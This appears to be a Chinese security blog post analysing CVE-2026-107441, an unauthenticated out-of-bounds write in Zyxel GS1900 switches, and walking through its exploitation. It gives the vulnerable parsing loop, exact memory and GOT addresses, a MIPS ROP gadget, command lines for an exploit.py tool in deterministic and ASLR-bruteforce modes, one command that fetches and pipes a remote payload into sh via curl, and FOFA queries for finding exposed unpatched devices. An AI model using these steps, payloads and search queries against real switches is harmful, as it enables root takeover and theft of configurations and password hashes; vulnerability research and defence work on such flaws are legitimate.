七度光
CVE-2026-107441 Zyxel GS1900 0Day:补丁发了,洞还在

CVE-2026-107441 Zyxel GS1900 0Day:补丁发了,洞还在

为什么"已经打过补丁"的交换机,还会被同一拨人打穿?

漏洞简介

  • Zyxel GS1900 系列网管交换机的 Web 管理 CGI 程序 dispatcher.cgi 中存在一处越界写(CWE-787)。它的参数解析函数 web_util_initParaPairs() 会先把 HTTP 请求里的参数拷贝进一块全局内存,之后才检查参数数量。只要把第 139 个参数槽塞进超过 1024 字节的值,就会溢出并覆盖紧跟其后的 32 位计数器 g_count;配合负数计数,攻击者就能往 reqParameters 之前写,从而改写 GOT 表,最终在无需登录的情况下以 root 身份执行任意命令。

  • 关键反差在于:Zyxel 早在 6 月 16 日就发过针对 CVE-2026-7273 的修复,可那 10 个 .2 固件版本全都没真正堵住这条攻击路径——补丁加的数量检查,恰好加在了"溢出拷贝之后"。也就是说,已经打了 6 月补丁、被当成"安全"的设备,仍然能被利用。GreyNoise 记录到在野攻击已命中 48 国 996 台设备,偷走配置与 root 密码哈希。

  • 公开分析认为该缺陷可经普通 HTTP 从任意能到达管理口的网络发起(AV:N),而非 Zyxel 标注的局域网相邻(AV:A)。

七度光 www.qdg.tw 时间线 · 为什么 6 月补丁没拦住 .2 修复把数量检查加在溢出拷贝之后,等于没堵 6/16 发 7273 修复 10 个 .2 上线 9/17 在野利用开始 48 国 996 台 9/21 列入 CISA KEV 指向的是 7273 9/28 .2 全被证实仍可打 检查在拷贝之后 10/22 真修(.3 固件) 先检查再拷贝 → 11/3 公告 qdg.tw

影响范围

项类别

详细内容

漏洞编号

CVE-2026-107441(前驱 CVE-2026-7273)

受影响产品

Zyxel GS1900 系列网管交换机(GS1900-8 / -8HP / -10HP / -16 / -24 / -24E / -24EP / -24HPv2 / -48 / -48HPv2,共 10 款)

受影响组件

Web 管理 CGI 程序 dispatcher.cgi、httprestorecfg.cgi、httpupload.cgi(参数解析函数 web_util_initParaPairs,越界写 CWE-787)

受影响版本

各型号 2.90(AAx.2)C0 及更早,例如 2.90(AAHK.2)C0、2.90(AAHL.2)C0、2.90(ABTQ.2)C0

修复版本

各型号 2.90(AAx.3)C0(2026-10-22 发布),例如 2.90(AAHK.3)C0

漏洞类型

全局缓冲区越界写 → GOT 覆写 → 未授权 RCE(CVSS 9.8)

漏洞原理

  • 参数解析的核心缺陷在 web_util_initParaPairs()。它把请求参数存进全局对象 reqParameters(140 个槽 × 1024 字节),每个槽前 512 字节放参数名、后 512 字节放参数值;reqParameters 末尾紧跟着 32 位计数器 g_count。

for ( amp = strchr(src, '&'); amp != nullptr; amp = strchr(amp + 1, '&') )
{
  slot = &reqParameters[1024 * g_count];
  // ① 拷贝发生在数量检查之前,且未限制单槽 1024 字节
  memcpy(slot, tok_start, amp - tok_start);
  slot[amp - tok_start] = 0;
  // ... urlDecode 填 value 字段 ...
  tok_start = amp + 1;
  // ② 检查在拷贝之后
  if ( ++g_count == 140 )
    return 0;
}

三步走(对应 exploit.py 里那个 hexdump):

  1. 把 g_count 顶到 139:发 139 个 &(零长度参数),让当前槽指针落到 reqParameters + 139*1024,也就是紧贴着 g_count 的前 1024 字节。

  2. 超长值溢出:往这个槽写一个 >1024 字节的值。因为单槽上限没被校验,多余字节直接越界落到 g_count 上,把它改成攻击者控制的小数值(甚至负数)。

  3. 负索引写穿:下一轮解析用被改坏的 g_count 当槽下标。因为 g_count 是 int,塞个接近 UINT32_MAX 的负数,槽地址就退到 reqParameters 之前——恰好覆盖 GOT 表(本固件起于 0x10002C40)。改好某个会被调用的 GOT 项指向 system(),就能落地命令执行。

GOT 覆写是确定性命中(1 次请求);若 g_count 没正好落到想覆写的 GOT 项,就切 stack 模式——借一条 MIPS gadget(0x0000B398: move $t9,$s1 ; jalr $t9)做 ROP,靠 ASLR 暴力(均值 ~2048 次请求)猜中。

七度光 www.qdg.tw CVE-2026-107441 · 越界写内存布局 dispatcher.cgi / web_util_initParaPairs — 140 槽 × 1024B,尾随 4B 计数器 0x10004430 +139·1024 0x10027430 reqParameters[0 … 138] 每槽:512B name | 512B value … 中间 137 槽折叠 … slot 139 — 超长值 单槽无上限校验,1028B 值越界 4B g_count : int 被覆盖 → 下轮槽下标 = 负数 负下标 → 写穿到 reqParameters 之前 GOT @ 0x10002C40 — 覆写调用项指向 system() 溢出覆盖 被改写 / GOT 负索引写穿 qdg.tw

漏洞复现

准备环境

项目

要求

说明

目标

一台在授权范围内的 Zyxel GS1900(.2 固件)

没有就搭仿真/虚拟机镜像,切勿对生产设备测试

网络

攻击机能直连目标 Web 管理口(HTTP/HTTPS)

缺陷可达即可,无需认证

攻击机 OS

任意,能跑 Python 3

推荐 Linux

依赖

python3 标准库

本框架零第三方依赖

固件地址

reqParameters 基址 / GOT 基址 / system() 偏移

默认针对 .2 固件(dispatcher.cgi SHA 7dc47078…),换固件需用 IDA 重新取值

参数默认值(.2 固件基线,MIPS 小端):reqParameters=0x10004430、GOT 基址=0x10002C40、栈跳板 gadget=0xB398。

复现步骤

复现步骤一:先干跑,确认将要发送的 payload(不发包)

进入目录后,用 --dry-run 让工具只打印 payload、不发任何包,确认构造无误:

cd cve-2026-107441

# 干跑两种模式,看 body 头部 96 字节
python3 exploit.py --dry-run -m got   http://<目标IP> 'id'
python3 exploit.py --dry-run -m stack http://<目标IP> 'id'

干跑输出示例:[dry-run] target=http://… mode=got len(body)=1187,并打印 payload 头部(id&…& 的 139 个 & + 1024 个 B)。

复现步骤二:真实利用(GOT 优先,失败切 ASLR 暴力)

确认 payload 正确后去掉 --dry-run,按"先确定性、再暴力"的顺序落地:

# ① 确定性 GOT 覆写(1 次请求命中)
python3 exploit.py -m got  http://<目标IP> 'id'

# ② 未命中 → ASLR 暴力(给足预算)
python3 exploit.py -m stack -n 20000 http://<目标IP> 'whoami'

# ③ 自动模式:先 1 发 GOT,未中自动切 stack
python3 exploit.py -m auto -n 20000 http://<目标IP> 'id ;# curl <回连> -o- | sh'

# ④ 换固件时覆盖地址
python3 exploit.py -m got --req-params 0x10004430 --strcmp-got 0x10002C5C \
                    --system-off 0x3A200 http://<目标IP> 'id'

命中特征:响应里出现 uid=0(root) 或你下发的命令回显。

安全边界:--dry-run 是默认安全姿势;对没有写权限的目标不要去掉 dry-run。落地 system() 后能直接读 /home/web/ 下的配置与密码哈希,等于拿 root 摸到全网设备。

七度光 www.qdg.tw 两条落地路径 · GOT 覆写 vs Stack ROP 同是写穿 g_count,区别在"往哪写"和"猜不猜" 改写 g_count 后写穿 GOT 覆写(确定性) · 1 次请求命中 · 写 GOT 项 → system() · 依赖固件固定地址 · 无需 ASLR 暴力 地址对则 100% Stack ROP(ASLR) · 均值 ~2048 次 · 借 0xB398 gadget 跳板 · move $t9,$s1 ; jalr $t9 · 猜中 libc/栈 才命中 GOT 不稳时兜底 root 命令执行 qdg.tw

FOFA 语法

GS1900 的指纹落在 Server 头与登录页 HTML 上,配合 80/443 端口定位暴露的管理口:

暴露 Web 管理口的 GS1900

port="80" && server="GS1900" 

命中登录页标题(管理面板可达)

port="80" && title="GS1900" 

HTTPS 管理口

port="443" && banner="GS1900" 

叠加 CGI 路径指纹(命中 dispatcher.cgi 可达)

port="80" && cert="GS1900" 

只看疑似未打 .3 补丁的旧指纹(.2 固件)

port="80" && server="GS1900" && banner="2.90"

工具下载

CVE-2026-111497 Node.js Brotli 越界写漏洞:从 DoS 到 RCE 完整复盘 2026-10-24